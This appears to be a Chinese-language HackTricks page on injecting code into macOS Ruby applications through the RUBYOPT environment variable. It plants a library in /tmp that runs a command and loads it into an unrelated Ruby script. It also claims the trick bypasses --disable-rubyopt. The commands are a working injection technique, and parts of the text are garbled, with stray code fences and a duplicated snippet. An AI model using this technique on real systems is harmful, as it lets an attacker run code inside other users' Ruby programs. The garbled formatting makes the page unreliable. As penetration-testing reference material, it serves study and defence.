macOS Ruby Applications Injection

从零开始学习 AWS 黑客攻击直到成为专家,通过 htARTE (HackTricks AWS 红队专家)

其他支持 HackTricks 的方式:

RUBYOPT

使用这个环境变量可以在每次执行 ruby添加新的参数。虽然不能使用参数 -e 来指定要执行的 ruby 代码,但可以使用参数 -I-r 来添加一个新的文件夹到库加载路径,然后指定一个要加载的库

/tmp 中创建库 inject.rb

inject.rb
puts `whoami`

创建一个 Ruby 脚本,例如:

hello.rb
puts "Hello, world!"

```ruby puts 'Hello, World!' ``` ```markdown 然后使用以下命令加载一个任意的ruby脚本: ``` ```bash RUBYOPT="-I/tmp -rinject" ruby hello.rb ``` 趣事,即使使用参数 **`--disable-rubyopt`** 也能工作: ```bash RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt ```

从零到英雄学习AWS黑客攻击 htARTE (HackTricks AWS红队专家)

支持HackTricks的其他方式:

最后更新于